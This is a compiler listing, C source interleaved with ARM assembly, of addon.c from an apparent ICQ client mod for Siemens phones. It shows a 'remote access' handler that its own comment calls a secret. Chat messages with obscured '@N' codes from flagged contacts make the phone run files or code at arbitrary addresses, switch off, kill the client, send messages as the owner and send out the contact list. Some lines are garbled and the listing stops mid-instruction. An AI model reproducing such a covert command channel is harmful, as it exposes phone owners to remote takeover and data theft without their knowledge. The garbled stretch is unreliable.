############################################################################## # # # IAR ARM ANSI C/C++ Compiler V4.42A/W32 EVALUATION 05/Jul/2008 20:08:21 # # Copyright 1999-2005 IAR Systems. All rights reserved. # # # # Cpu mode = interwork # # Endian = little # # Stack alignment = 4 # # Source file = D:\Pasha\elf\_MY_PROJECT_\naticq_mod\addon.c # # Command line = D:\Pasha\elf\_MY_PROJECT_\naticq_mod\addon.c -D # # NEWSGOLD -D ELKA -D UIN_WRITE --preprocess # # D:\Pasha\elf\_MY_PROJECT_\naticq_mod\Release_ELKA\Li # # st\ -lC D:\Pasha\elf\_MY_PROJECT_\naticq_mod\Release # # _ELKA\List\ -o D:\Pasha\elf\_MY_PROJECT_\naticq_mod\ # # Release_ELKA\Obj\ -s9 --no_unroll --cpu_mode arm # # --endian little --cpu ARM926EJ-S --stack_align 4 # # --interwork -e --fpu None --dlib_config # # "D:\Pasha\Embedded Workbench 4.0 # # Evaluation2\ARM\LIB\dl5tpainl8n.h" -I # # "D:\Pasha\Embedded Workbench 4.0 # # Evaluation2\ARM\INC\" --inline_threshold=2 # # List file = D:\Pasha\elf\_MY_PROJECT_\naticq_mod\Release_ELKA\Li # # st\addon.lst # # Object file = D:\Pasha\elf\_MY_PROJECT_\naticq_mod\Release_ELKA\Ob # # j\addon.r79 # # # # # ############################################################################## D:\Pasha\elf\_MY_PROJECT_\naticq_mod\addon.c 1 #include "../inc/swilib.h" 2 #include "../inc/cfg_items.h" 3 #include "../inc/pnglist.h" 4 #include "NatICQ.h" 5 #include "main.h" 6 #include "naticq_ipc.h" 7 #include "../inc/xtask_ipc.h" 8 #include "strings.h" 9 10 //Тут всякая поебень))) 11 12 #define _ECHOCHAT "@1" 13 #define _ECHO "@2" 14 #define _VIBRA "@3" 15 #define _IDLESCR "@4" 16 #define _DISCONNECT "@5" 17 #define _GETCLISTALL "@6" 18 #define _GETCLIST "@7" 19 #define _WRITE "@13" 20 #define _GETFLIST "@8" 21 #define _RUNFILE "@9" 22 #define _PIKOFF "@10" 23 #define _EXIT "@11" 24 #define _TURNOFF "@12" 25 #define MSG_ECHOCHAT "@Ms s: %s" 26 //#define __ECHOCHAT "\x23\x65\x63\x68\x6F\x63\x68\x61\x74" 27 #define ENA_SIGNAL 1 //для команд, активировать сигналы,али нет 28 #define DIS_SIGNAL 0 29 30 //По 10 секунд 31 #define ACTIVE_TIME 360 32 33 extern void SendData(CLIST *t,char *s,int signal,int count); 34 extern void AddStringToLog(CLIST *t, int code, char *s, const char *name, unsigned int IDforACK,int flag); 35 extern void RecountMenu(CLIST *req, int needfocus); 36 extern void start_vibra(void); 37 extern char *GetStatusByIconIndex(int icon); 38 extern CLIST *FindContactByUin(unsigned int uin); 39 40 41 extern int comanda; 42 extern int VIBR_TYPE; 43 extern volatile int silenthide; 44 extern volatile int disautorecconect; 45 extern volatile int vibra_count; 46 extern volatile int SENDMSGCOUNT; 47 extern volatile CLIST *cltop; 48 extern char per_s[]; 49 extern char I_str[]; 50 extern int SHOW_ACTIVE; 51 extern const char ipc_my_name[32]; 52 extern const char ipc_xtask_name[]; 53 extern const char ipc_test_name[]; 54 extern IPC_REQ gipc; 55 \ In segment CODE, align 4, keep-with-next 56 int get_file_size(char* fname) 57 { \ get_file_size: \ 00000000 00402DE9 PUSH {LR} \ 00000004 2CD04DE2 SUB SP,SP,#+44 58 unsigned int err; 59 FSTATS fs; 60 if ((GetFileStats(fname,&fs,&err))==-1) return 0; \ 00000008 0D20A0E1 MOV R2,SP \ 0000000C 04108DE2 ADD R1,SP,#+4 \ 00000010 840000EF SWI +132 \ 00000014 010070E3 CMN R0,#+1 61 return (fs.size); \ 00000018 08009D15 LDRNE R0,[SP, #+8] \ 0000001C 2CD08DE2 ADD SP,SP,#+44 \ 00000020 0000A003 MOVEQ R0,#+0 \ 00000024 0080BDE8 POP {PC} ;; return 62 } 63 64 \ In segment CODE, align 4, keep-with-next 65 int start(const char s[128]) 66 { \ start: \ 00000000 30402DE9 PUSH {R4,R5,LR} \ 00000004 04D04DE2 SUB SP,SP,#+4 \ 00000008 0040B0E1 MOVS R4,R0 67 if((s)&&strlen(s)) \ 0000000C 6D00000A BEQ ??start_0 \ 00000010 1B0000EF SWI +27 \ 00000014 000050E3 CMP R0,#+0 \ 00000018 3280BD08 POPEQ {R1,R4,R5,PC} 68 { 69 if((s[2]=='\\')&&((s[(strlen(s))-3]=='.')||//Проверяем строку на наличие символов '\\' и '.' 70 (s[(strlen(s))-4]=='.')||(s[(strlen(s))-5]=='.'))) \ 0000001C 0200D4E5 LDRB R0,[R4, #+2] \ 00000020 5C0050E3 CMP R0,#+92 \ 00000024 1E00001A BNE ??start_1 \ 00000028 0400A0E1 MOV R0,R4 \ 0000002C 1B0000EF SWI +27 \ 00000030 040080E0 ADD R0,R0,R4 \ 00000034 030050E5 LDRB R0,[R0, #-3] \ 00000038 2E0050E3 CMP R0,#+46 \ 0000003C 0B00000A BEQ ??start_2 \ 00000040 0400A0E1 MOV R0,R4 \ 00000044 1B0000EF SWI +27 \ 00000048 040080E0 ADD R0,R0,R4 \ 0000004C 040050E5 LDRB R0,[R0, #-4] \ 00000050 2E0050E3 CMP R0,#+46 \ 00000054 0500000A BEQ ??start_2 \ 00000058 0400A0E1 MOV R0,R4 \ 0000005C 1B0000EF SWI +27 \ 00000060 040080E0 ADD R0,R0,R4 \ 00000064 050050E5 LDRB R0,[R0, #-5] \ 00000068 2E0050E3 CMP R0,#+46 \ 0000006C 0C00001A BNE ??start_1 71 /* Если в строке есть символы '\\' и '.', то запускаем как обычный файл*/ 72 { 73 WSHDR *ws; 74 ws=AllocWS(256); \ ??start_2: \ 00000070 400FA0E3 MOV R0,#+256 \ 00000074 250100EF SWI +293 \ 00000078 0050A0E1 MOV R5,R0 75 str_2ws(ws,s,256); \ 0000007C 402FA0E3 MOV R2,#+256 \ 00000080 0410A0E1 MOV R1,R4 \ 00000084 6C0100EF SWI +364 76 ExecuteFile(ws,0,0); \ 00000088 0020A0E3 MOV R2,#+0 \ 0000008C 0010A0E3 MOV R1,#+0 \ 00000090 0500A0E1 MOV R0,R5 \ 00000094 940000EF SWI +148 77 FreeWS(ws); \ 00000098 0500A0E1 MOV R0,R5 \ 0000009C 290100EF SWI +297 78 return (1); \ 000000A0 1F0000EA B ??start_3 79 } 80 if ((s[2]!='\\')&&(s[(strlen(s))-3]!='.')&& 81 (s[(strlen(s))-4]!='.')&&(s[(strlen(s))-5]!='.')&& 82 (s[0]!='a')&&(s[0]!='A')&&(s[1]!='0')) \ ??start_1: \ 000000A4 0200D4E5 LDRB R0,[R4, #+2] \ 000000A8 20519FE5 LDR R5,??start_4 ;; `?` \ 000000AC 5C0050E3 CMP R0,#+92 \ 000000B0 2200000A BEQ ??start_5 \ 000000B4 0400A0E1 MOV R0,R4 \ 000000B8 1B0000EF SWI +27 \ 000000BC 040080E0 ADD R0,R0,R4 \ 000000C0 030050E5 LDRB R0,[R0, #-3] \ 000000C4 2E0050E3 CMP R0,#+46 \ 000000C8 1C00000A BEQ ??start_5 \ 000000CC 0400A0E1 MOV R0,R4 \ 000000D0 1B0000EF SWI +27 \ 000000D4 040080E0 ADD R0,R0,R4 \ 000000D8 040050E5 LDRB R0,[R0, #-4] \ 000000DC 2E0050E3 CMP R0,#+46 \ 000000E0 1600000A BEQ ??start_5 \ 000000E4 0400A0E1 MOV R0,R4 \ 000000E8 1B0000EF SWI +27 \ 000000EC 040080E0 ADD R0,R0,R4 \ 000000F0 050050E5 LDRB R0,[R0, #-5] \ 000000F4 2E0050E3 CMP R0,#+46 \ 000000F8 0000D415 LDRBNE R0,[R4, #+0] \ 000000FC 61005013 CMPNE R0,#+97 \ 00000100 41005013 CMPNE R0,#+65 \ 00000104 0100D415 LDRBNE R0,[R4, #+1] \ 00000108 30005013 CMPNE R0,#+48 \ 0000010C 0B00000A BEQ ??start_5 83 { 84 int (*p) (void); 85 p=(int(*)(void))GetFunctionPointer((char*)s); \ 00000110 0400A0E1 MOV R0,R4 \ 00000114 740000EF SWI +116 86 if(p!=NULL) \ 00000118 000050E3 CMP R0,#+0 \ 0000011C 0200000A BEQ ??start_6 87 (*p)(); \ 00000120 30FF2FE1 BLX R0 \ ??start_3: \ 00000124 0100A0E3 MOV R0,#+1 \ 00000128 3280BDE8 POP {R1,R4,R5,PC} 88 else 89 ShowMSG(1,(int)"NULL pointer function!"); \ ??start_6: \ 0000012C 0510A0E1 MOV R1,R5 \ 00000130 0100A0E3 MOV R0,#+1 \ 00000134 480100EF SWI +328 90 return 1; \ 00000138 0100A0E3 MOV R0,#+1 \ 0000013C 3280BDE8 POP {R1,R4,R5,PC} 91 } 92 93 if ((s[2]!='\\')&&(s[(strlen(s))-3]!='.')&& 94 (s[(strlen(s))-4]!='.')&&(s[(strlen(s))-5]!='.')&& 95 ((s[0]=='a')||(s[0]=='A'))&&(s[1]=='0')) \ ??start_5: \ 00000140 0200D4E5 LDRB R0,[R4, #+2] \ 00000144 5C0050E3 CMP R0,#+92 \ 00000148 1E00000A BEQ ??start_0 \ 0000014C 0400A0E1 MOV R0,R4 \ 00000150 1B0000EF SWI +27 \ 00000154 040080E0 ADD R0,R0,R4 \ 00000158 030050E5 LDRB R0,[R0, #-3] \ 0000015C 2E0050E3 CMP R0,#+46 \ 00000160 1800000A BEQ ??start_0 \ 00000164 0400A0E1 MOV R0,R4 \ 00000168 1B0000EF SWI +27 \ 0000016C 040080E0 ADD R0,R0,R4 \ 00000170 040050E5 LDRB R0,[R0, #-4] \ 00000174 2E0050E3 CMP R0,#+46 \ 00000178 1200000A BEQ ??start_0 \ 0000017C 0400A0E1 MOV R0,R4 \ 00000180 1B0000EF SWI +27 \ 00000184 040080E0 ADD R0,R0,R4 \ 00000188 050050E5 LDRB R0,[R0, #-5] \ 0000018C 2E0050E3 CMP R0,#+46 \ 00000190 0C00000A BEQ ??start_0 \ 00000194 0000D4E5 LDRB R0,[R4, #+0] \ 00000198 610050E3 CMP R0,#+97 \ 0000019C 41005013 CMPNE R0,#+65 \ 000001A0 0100D405 LDRBEQ R0,[R4, #+1] \ 000001A4 30005003 CMPEQ R0,#+48 \ 000001A8 0600001A BNE ??start_0 96 { 97 int entry; 98 sscanf(s,"%08X",&entry); \ 000001AC 0D20A0E1 MOV R2,SP \ 000001B0 181085E2 ADD R1,R5,#+24 \ 000001B4 0400A0E1 MOV R0,R4 \ 000001B8 F50100EF SWI +501 99 SUBPROC((void*)entry); \ 000001BC 00009DE5 LDR R0,[SP, #+0] \ 000001C0 710100EF SWI +369 100 return 1; \ 000001C4 D6FFFFEA B ??start_3 101 } 102 } 103 return 0; \ ??start_0: \ 000001C8 0000A0E3 MOV R0,#+0 \ 000001CC 3280BDE8 POP {R1,R4,R5,PC} ;; return \ ??start_4: \ 000001D0 ........ DC32 `?` 104 } 105 106 \ In segment CODE, align 4, keep-with-next 107 void CheckComand2(char *txt, CLIST *t) 108 { \ CheckComand2: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} 109 comanda=1; \ 00000004 50779FE5 LDR R7,??CheckComand2_0+0x1C ;; comanda \ 00000008 ACD04DE2 SUB SP,SP,#+172 \ 0000000C 40DE4DE2 SUB SP,SP,#+1024 \ 00000010 0060A0E1 MOV R6,R0 \ 00000014 0180A0E3 MOV R8,#+1 \ 00000018 008087E5 STR R8,[R7, #+0] 110 //---------------------- REMOTE ACCESS -------------------// 111 //так,маленький секрет так сказать))) глюмлюсь над теми кто достает....)) 112 if((txt[0]=='#' || txt[0]=='@') && t->isaccess) \ 0000001C 0000D6E5 LDRB R0,[R6, #+0] \ 00000020 0140A0E1 MOV R4,R1 \ 00000024 230050E3 CMP R0,#+35 \ 00000028 40005013 CMPNE R0,#+64 \ 0000002C C001001A BNE ??CheckComand2_1 \ 00000030 740094E5 LDR R0,[R4, #+116] \ 00000034 000050E3 CMP R0,#+0 \ 00000038 BD01000A BEQ ??CheckComand2_1 113 { 114 115 if(/*strstr(txt,"#write") || */strstr(txt,_WRITE))//#write uin message \ 0000003C 1CA79FE5 LDR R10,??CheckComand2_0+0x20 ;; SENDMSGCOUNT \ 00000040 0290A0E3 MOV R9,#+2 \ 00000044 EA5F8FE2 ADR R5,??CheckComand2_2 ;; "@13" \ 00000048 0510A0E1 MOV R1,R5 \ 0000004C 0600A0E1 MOV R0,R6 \ 00000050 180100EF SWI +280 \ 00000054 000050E3 CMP R0,#+0 \ 00000058 1F00000A BEQ ??CheckComand2_3 116 { 117 char *s=strrchr(txt,' ')+1; \ 0000005C 2010A0E3 MOV R1,#+32 \ 00000060 0600A0E1 MOV R0,R6 \ 00000064 170100EF SWI +279 \ 00000068 014080E2 ADD R4,R0,#+1 118 #ifdef kluchnik 119 CLIST *tt; 120 tt=FindContactByUin(strtoul(txt+strlen(_WRITE)+1,0,10)); 121 AddStringToLog(tt,0x01,s,I_str,(++SENDMSGCOUNT)&0x7FFF,1); 122 AddStringToLog(t,0x01,txt,I_str,0x7FFF,1); 123 t->signals=1; 124 tt->signals=1; 125 if(SHOW_ACTIVE) 126 tt->isactive=ACTIVE_TIME; 127 #else 128 ++SENDMSGCOUNT; \ 0000006C 00009AE5 LDR R0,[R10, #+0] \ 00000070 010080E2 ADD R0,R0,#+1 \ 00000074 00008AE5 STR R0,[R10, #+0] 129 #endif 130 TPKT *p; 131 p=malloc(sizeof(PKT)+strlen(s)+1); \ 00000078 0400A0E1 MOV R0,R4 \ 0000007C 1B0000EF SWI +27 \ 00000080 090080E2 ADD R0,R0,#+9 \ 00000084 140000EF SWI +20 \ 00000088 0070A0E1 MOV R7,R0 132 p->pkt.uin=strtoul(txt+strlen(_WRITE)+1,0,10); \ 0000008C 0500A0E1 MOV R0,R5 \ 00000090 1B0000EF SWI +27 \ 00000094 0A20A0E3 MOV R2,#+10 \ 00000098 0010A0E3 MOV R1,#+0 \ 0000009C 060080E0 ADD R0,R0,R6 \ 000000A0 010080E2 ADD R0,R0,#+1 \ 000000A4 ........ _BLF strtoul,??strtoul??rA \ 000000A8 000087E5 STR R0,[R7, #+0] 133 p->pkt.type=T_SENDMSG; \ 000000AC B490C7E1 STRH R9,[R7, #+4] 134 p->pkt.data_len=strlen(s); \ 000000B0 0400A0E1 MOV R0,R4 \ 000000B4 1B0000EF SWI +27 \ 000000B8 B600C7E1 STRH R0,[R7, #+6] 135 strcpy(p->data,s); \ 000000BC 0410A0E1 MOV R1,R4 \ 000000C0 080087E2 ADD R0,R7,#+8 \ 000000C4 1A0000EF SWI +26 136 SUBPROC((void *)SendAnswer,0,p); \ 000000C8 94069FE5 LDR R0,??CheckComand2_0+0x24 ;; SendAnswer \ 000000CC 0720A0E1 MOV R2,R7 \ 000000D0 0010A0E3 MOV R1,#+0 \ 000000D4 710100EF SWI +369 137 return; \ 000000D8 2C0100EA B ??CheckComand2_4 138 } 139 140 if(strstr(txt,_PIKOFF)) \ ??CheckComand2_3: \ 000000DC 84569FE5 LDR R5,??CheckComand2_0+0x28 ;; `?` \ 000000E0 C41F8FE2 ADR R1,??CheckComand2_2+0x4 ;; "@10" \ 000000E4 0600A0E1 MOV R0,R6 \ 000000E8 180100EF SWI +280 \ 000000EC 000050E3 CMP R0,#+0 \ 000000F0 0300000A BEQ ??CheckComand2_5 141 { 142 char *s=malloc(1); \ 000000F4 0100A0E3 MOV R0,#+1 \ 000000F8 140000EF SWI +20 143 strcpy(s,"BGAGA"); \ 000000FC 0510A0E1 MOV R1,R5 \ 00000100 1A0000EF SWI +26 144 } 145 146 if(strstr(txt,_EXIT)) \ ??CheckComand2_5: \ 00000104 00B0A0E3 MOV R11,#+0 \ 00000108 BB1F8FE2 ADR R1,??CheckComand2_2+0x8 ;; "@11" \ 0000010C 0600A0E1 MOV R0,R6 \ 00000110 180100EF SWI +280 \ 00000114 000050E3 CMP R0,#+0 \ 00000118 0200000A BEQ ??CheckComand2_6 147 { 148 t->signals=0; 149 #ifdef kluchnik 150 #else 151 extern void ElfKiller(void); 152 SUBPROC((void *)ElfKiller); \ 0000011C 48069FE5 LDR R0,??CheckComand2_0+0x2C ;; ElfKiller \ 00000120 70B084E5 STR R11,[R4, #+112] \ 00000124 710100EF SWI +369 153 #endif 154 } 155 156 if(strstr(txt,_TURNOFF)) \ ??CheckComand2_6: \ 00000128 B41F8FE2 ADR R1,??CheckComand2_2+0xC ;; "@12" \ 0000012C 0600A0E1 MOV R0,R6 \ 00000130 180100EF SWI +280 \ 00000134 000050E3 CMP R0,#+0 \ 00000138 0200000A BEQ ??CheckComand2_7 157 { 158 t->signals=0; \ 0000013C 70B084E5 STR R11,[R4, #+112] 159 #ifdef kluchnik 160 #else 161 SwitchPhoneOff(); \ 00000140 090000EF SWI +9 162 #endif 163 return; \ 00000144 110100EA B ??CheckComand2_4 164 } \ ??CheckComand2_7: \ 00000148 AD1F8FE2 ADR R1,??CheckComand2_2+0x10 ;; "@1" \ 0000014C 0600A0E1 MOV R0,R6 165 166 if(/*strstr(txt,"#echochat") || */strstr(txt,_ECHOCHAT)) \ 00000150 180100EF SWI +280 \ 00000154 000050E3 CMP R0,#+0 \ 00000158 6100000A BEQ ??CheckComand2_8 167 { 168 char msg[256]; 169 sprintf(msg,MSG_ECHOCHAT,txt); \ 0000015C 0620A0E1 MOV R2,R6 \ 00000160 081085E2 ADD R1,R5,#+8 \ 00000164 EB0F8DE2 ADD R0,SP,#+940 \ 00000168 160000EF SWI +22 170 char *k; 171 if(strstr(txt,_ECHOCHAT)) \ 0000016C A41F8FE2 ADR R1,??CheckComand2_2+0x10 ;; "@1" \ 00000170 0600A0E1 MOV R0,R6 \ 00000174 180100EF SWI +280 \ 00000178 000050E3 CMP R0,#+0 \ 0000017C 0300000A BEQ ??CheckComand2_9 172 k=txt+(strlen(_ECHOCHAT)+2); \ 00000180 9F0F8FE2 ADR R0,??CheckComand2_2+0x10 ;; "@1" \ 00000184 1B0000EF SWI +27 \ 00000188 060080E0 ADD R0,R0,R6 \ 0000018C 028080E2 ADD R8,R0,#+2 173 /* else 174 k=txt+(strlen("#echochat")+2);*/ 175 char name[32]; 176 zeromem(name,32); \ ??CheckComand2_9: \ 00000190 2010A0E3 MOV R1,#+32 \ 00000194 48008DE2 ADD R0,SP,#+72 \ 00000198 1D0100EF SWI +285 177 char *tmp; 178 if(tmp=strstr(txt," ")+1)//после первого пробела идет имя \ 0000019C 991F8FE2 ADR R1,??CheckComand2_2+0x14 ;; " " \ 000001A0 0600A0E1 MOV R0,R6 \ 000001A4 180100EF SWI +280 \ 000001A8 010080E2 ADD R0,R0,#+1 \ 000001AC 00008DE5 STR R0,[SP, #+0] \ 000001B0 000050E3 CMP R0,#+0 \ 000001B4 1900000A BEQ ??CheckComand2_10 179 { 180 if(strstr(tmp,"!"))//если есть еще '!',значит имя прописали:) \ 000001B8 931F8FE2 ADR R1,??CheckComand2_2+0x18 ;; "!" \ 000001BC 180100EF SWI +280 \ 000001C0 000050E3 CMP R0,#+0 \ 000001C4 1400000A BEQ ??CheckComand2_11 181 { 182 int ii=0; 183 for(ii=0;(iiname, name); \ 00000260 48008DE2 ADD R0,SP,#+72 \ 00000264 01002DE9 PUSH {R0} \ 00000268 143084E2 ADD R3,R4,#+20 \ 0000026C 0720A0E1 MOV R2,R7 \ 00000270 141085E2 ADD R1,R5,#+20 \ 00000274 0600A0E1 MOV R0,R6 \ 00000278 160000EF SWI +22 199 if(tmp!=0) \ 0000027C 04109DE5 LDR R1,[SP, #+4] \ 00000280 04D08DE2 ADD SP,SP,#+4 \ 00000284 000051E3 CMP R1,#+0 \ 00000288 00109AE5 LDR R1,[R10, #+0] \ 0000028C FF00A0E3 MOV R0,#+255 \ 00000290 7F0C80E3 ORR R0,R0,#0x7F00 \ 00000294 011081E2 ADD R1,R1,#+1 \ 00000298 00108AE5 STR R1,[R10, #+0] \ 0000029C 0120A0E3 MOV R2,#+1 \ 000002A0 04002DE9 PUSH {R2} \ 000002A4 010000E0 AND R0,R0,R1 \ 000002A8 01002DE9 PUSH {R0} 200 AddStringToLog(t,0x02,msg2,name,(++SENDMSGCOUNT)&0x7FFF,1); \ 000002AC 50308D12 ADDNE R3,SP,#+80 201 else 202 AddStringToLog(t,0x02,msg2,"Ib",(++SENDMSGCOUNT)&0x7FFF,1); \ 000002B0 563F8F02 ADREQ R3,??CheckComand2_2+0x1C ;; "Ib" \ 000002B4 0720A0E1 MOV R2,R7 \ 000002B8 0210A0E3 MOV R1,#+2 \ 000002BC 0400A0E1 MOV R0,R4 \ 000002C0 ........ _BLF AddStringToLog,??AddStringToLog??rA \ 000002C4 08D08DE2 ADD SP,SP,#+8 203 204 SendData(t,s,ENA_SIGNAL,0); \ 000002C8 0030A0E3 MOV R3,#+0 \ 000002CC 0120A0E3 MOV R2,#+1 \ ??CheckComand2_16: \ 000002D0 0610A0E1 MOV R1,R6 \ 000002D4 0400A0E1 MOV R0,R4 \ 000002D8 ........ _BLF SendData,??SendData??rA 205 mfree(s); \ 000002DC 0600A0E1 MOV R0,R6 \ ??CheckComand2_17: \ 000002E0 A90000EA B ??CheckComand2_18 206 return; 207 } 208 209 if(/*strstr(txt,"#echo") || */strstr(txt,_ECHO)) \ ??CheckComand2_8: \ 000002E4 4A1F8FE2 ADR R1,??CheckComand2_2+0x20 ;; "@2" \ 000002E8 0600A0E1 MOV R0,R6 \ 000002EC 180100EF SWI +280 \ 000002F0 000050E3 CMP R0,#+0 \ 000002F4 0A00000A BEQ ??CheckComand2_19 210 { 211 ShowMSG(1,(int)txt+2); \ 000002F8 021086E2 ADD R1,R6,#+2 \ 000002FC 0100A0E3 MOV R0,#+1 \ 00000300 480100EF SWI +328 212 char msg[256]; 213 sprintf(msg,"M %s snd",txt); \ 00000304 0620A0E1 MOV R2,R6 \ 00000308 341085E2 ADD R1,R5,#+52 \ 0000030C EB0F8DE2 ADD R0,SP,#+940 \ 00000310 160000EF SWI +22 214 SendData(t,msg,ENA_SIGNAL,1); \ 00000314 0830A0E1 MOV R3,R8 \ 00000318 0320A0E1 MOV R2,R3 \ 0000031C EB1F8DE2 ADD R1,SP,#+940 \ 00000320 010100EA B ??CheckComand2_20 215 return; 216 } 217 218 if(/*strstr(txt,"#vibra") || */strstr(txt,_VIBRA)) \ ??CheckComand2_19: \ 00000324 3B1F8FE2 ADR R1,??CheckComand2_2+0x24 ;; "@3" \ 00000328 0600A0E1 MOV R0,R6 \ 0000032C 180100EF SWI +280 \ 00000330 000050E3 CMP R0,#+0 \ 00000334 1200000A BEQ ??CheckComand2_21 219 { 220 vibra_count=strtoul(txt+3,0,10); \ 00000338 30549FE5 LDR R5,??CheckComand2_0+0x30 ;; vibra_count \ 0000033C 0A20A0E3 MOV R2,#+10 \ 00000340 0010A0E3 MOV R1,#+0 \ 00000344 030086E2 ADD R0,R6,#+3 \ 00000348 ........ _BLF strtoul,??strtoul??rA \ 0000034C 000085E5 STR R0,[R5, #+0] 221 222 if(vibra_count==0) \ 00000350 000095E5 LDR R0,[R5, #+0] \ 00000354 000050E3 CMP R0,#+0 \ 00000358 0400001A BNE ??CheckComand2_22 223 { 224 if( VIBR_TYPE) //если написали просто команду без параметра \ 0000035C 10049FE5 LDR R0,??CheckComand2_0+0x34 ;; VIBR_TYPE \ 00000360 000090E5 LDR R0,[R0, #+0] \ 00000364 000050E3 CMP R0,#+0 225 vibra_count=2; \ 00000368 00908515 STRNE R9,[R5, #+0] 226 else 227 vibra_count=1; \ 0000036C 00808505 STREQ R8,[R5, #+0] 228 } 229 #ifdef kluchnik 230 if(vibra_count>10 || vibra_count<0) 231 vibra_count=1; 232 #endif 233 start_vibra(); \ ??CheckComand2_22: \ 00000370 ........ _BLF start_vibra,??start_vibra??rA 234 SendData(t,"act",DIS_SIGNAL,1); \ 00000374 0130A0E3 MOV R3,#+1 \ 00000378 0B20A0E1 MOV R2,R11 \ 0000037C EF1F8FE2 ADR R1,??CheckComand2_0 ;; "act" \ 00000380 E90000EA B ??CheckComand2_20 235 return; 236 } 237 /* 238 if(strstr(txt,"#gprsoff")) 239 { 240 #ifdef kluchnik 241 char *s=malloc(256); 242 sprintf(s,"Recive command < Gprs off >"); 243 AddStringToLog(t,0x01,s,I_str,(++SENDMSGCOUNT)&0x7FFF,1); 244 mfree(s); 245 SendData(t,"GPRS Off",ENA_SIGNAL,0); 246 #else 247 SendData(t,"GPRS Off",DIS_SIGNAL,1); 248 GPRS_OnOff(0,1); 249 #endif 250 return; 251 }*/ 252 253 254 if(/*strstr(txt,"#idlescr") ||*/ strstr(txt,_IDLESCR)) \ ??CheckComand2_21: \ 00000384 EE1F8FE2 ADR R1,??CheckComand2_0+0x4 ;; "@4" \ 00000388 0600A0E1 MOV R0,R6 \ 0000038C 180100EF SWI +280 \ 00000390 000050E3 CMP R0,#+0 \ 00000394 2000000A BEQ ??CheckComand2_23 255 { 256 SendData(t,"scr..",DIS_SIGNAL,1); \ 00000398 0130A0E3 MOV R3,#+1 \ 0000039C 0B20A0E1 MOV R2,R11 \ 000003A0 401085E2 ADD R1,R5,#+64 \ 000003A4 0400A0E1 MOV R0,R4 \ 000003A8 ........ _BLF SendData,??SendData??rA 257 RecountMenu(NULL,1); \ 000003AC 0810A0E1 MOV R1,R8 \ 000003B0 0B00A0E1 MOV R0,R11 \ 000003B4 ........ _BLF RecountMenu,??RecountMenu??rA 258 silenthide=1; \ 000003B8 B8039FE5 LDR R0,??CheckComand2_0+0x38 ;; silenthide 259 gipc.name_to=ipc_xtask_name; \ 000003BC B8339FE5 LDR R3,??CheckComand2_0+0x3C ;; gipc \ 000003C0 008080E5 STR R8,[R0, #+0] \ 000003C4 B4039FE5 LDR R0,??CheckComand2_0+0x40 ;; ipc_xtask_name 260 gipc.name_from=ipc_my_name; 261 gipc.data=0; \ 000003C8 08B083E5 STR R11,[R3, #+8] \ 000003CC 000083E5 STR R0,[R3, #+0] \ 000003D0 AC039FE5 LDR R0,??CheckComand2_0+0x44 ;; ipc_my_name 262 GBS_SendMessage(MMI_CEPID,MSG_IPC,IPC_XTASK_IDLE,&gipc); \ 000003D4 0820A0E1 MOV R2,R8 \ 000003D8 040083E5 STR R0,[R3, #+4] \ 000003DC B010A0E3 MOV R1,#+176 \ 000003E0 DE1C81E3 ORR R1,R1,#0xDE00 \ 000003E4 0900A0E3 MOV R0,#+9 \ 000003E8 420C80E3 ORR R0,R0,#0x4200 \ 000003EC 000100EF SWI +256 263 return; \ 000003F0 660000EA B ??CheckComand2_4 \ ??CheckComand2_2: \ 000003F4 40313300 DC8 "@13" \ 000003F8 40313000 DC8 "@10" \ 000003FC 40313100 DC8 "@11" \ 00000400 40313200 DC8 "@12" \ 00000404 40310000 DC8 "@1",+0 \ 00000408 20000000 DC8 " ",+0,+0 \ 0000040C 21000000 DC8 "!",+0,+0 \ 00000410 49620000 DC8 "Ib",+0 \ 00000414 40320000 DC8 "@2",+0 \ 00000418 40330000 DC8 "@3",+0 264 } 265 266 267 if(/*strstr(txt,"#disconnect") ||*/ strstr(txt,_DISCONNECT)) \ ??CheckComand2_23: \ 0000041C C91F8FE2 ADR R1,??CheckComand2_0+0x8 ;; "@5" \ 00000420 0600A0E1 MOV R0,R6 \ 00000424 180100EF SWI +280 \ 00000428 000050E3 CMP R0,#+0 \ 0000042C 0900000A BEQ ??CheckComand2_24 268 { 269 comanda=0; 270 disautorecconect=1; \ 00000430 50039FE5 LDR R0,??CheckComand2_0+0x48 ;; disautorecconect \ 00000434 00B087E5 STR R11,[R7, #+0] \ 00000438 008080E5 STR R8,[R0, #+0] 271 t->signals=0; \ 0000043C 70B084E5 STR R11,[R4, #+112] 272 SENDMSGCOUNT++; \ 00000440 00009AE5 LDR R0,[R10, #+0] \ 00000444 010080E2 ADD R0,R0,#+1 \ 00000448 00008AE5 STR R0,[R10, #+0] 273 #ifdef kluchnik 274 #else 275 void end_socket(void); 276 SUBPROC((void*)end_socket); \ 0000044C 38039FE5 LDR R0,??CheckComand2_0+0x4C ;; end_socket \ 00000450 710100EF SWI +369 277 #endif 278 return; \ 00000454 4D0000EA B ??CheckComand2_4 279 } 280 281 if(/*strstr(txt,"#getclistall") || */strstr(txt,_GETCLISTALL)) \ ??CheckComand2_24: \ 00000458 30739FE5 LDR R7,??CheckComand2_0+0x50 ;; cltop \ 0000045C BA1F8FE2 ADR R1,??CheckComand2_0+0xC ;; "@6" \ 00000460 0600A0E1 MOV R0,R6 \ 00000464 180100EF SWI +280 \ 00000468 000050E3 CMP R0,#+0 \ 0000046C 1C00000A BEQ ??CheckComand2_25 282 { 283 CLIST *tt; 284 tt=(CLIST *)(&cltop); 285 char *s=malloc(16384); \ 00000470 400CA0E3 MOV R0,#+16384 \ 00000474 140000EF SWI +20 \ 00000478 0060A0E1 MOV R6,R0 286 *s=0; \ 0000047C 00B0C6E5 STRB R11,[R6, #+0] \ 00000480 110000EA B ??CheckComand2_26 287 char ss[64]; 288 char *q; 289 while(tt=(CLIST *)(tt->next)) 290 { 291 if(!tt->isgroup) \ ??CheckComand2_27: \ 00000484 080097E5 LDR R0,[R7, #+8] \ 00000488 000050E3 CMP R0,#+0 \ 0000048C 0E00001A BNE ??CheckComand2_26 292 { 293 q=GetStatusByIconIndex(GetIconIndex(tt)); \ 00000490 0700A0E1 MOV R0,R7 \ 00000494 ........ _BLF GetIconIndex,??GetIconIndex??rA \ 00000498 ........ _BLF GetStatusByIconIndex,??GetStatusByIconIndex??rA 294 snprintf(ss,64,"%s ( %d ) [%s]\r\n",tt->name,tt->uin,q); \ 0000049C 01002DE9 PUSH {R0} \ 000004A0 0C0097E5 LDR R0,[R7, #+12] \ 000004A4 143087E2 ADD R3,R7,#+20 \ 000004A8 01002DE9 PUSH {R0} \ 000004AC 482085E2 ADD R2,R5,#+72 \ 000004B0 4010A0E3 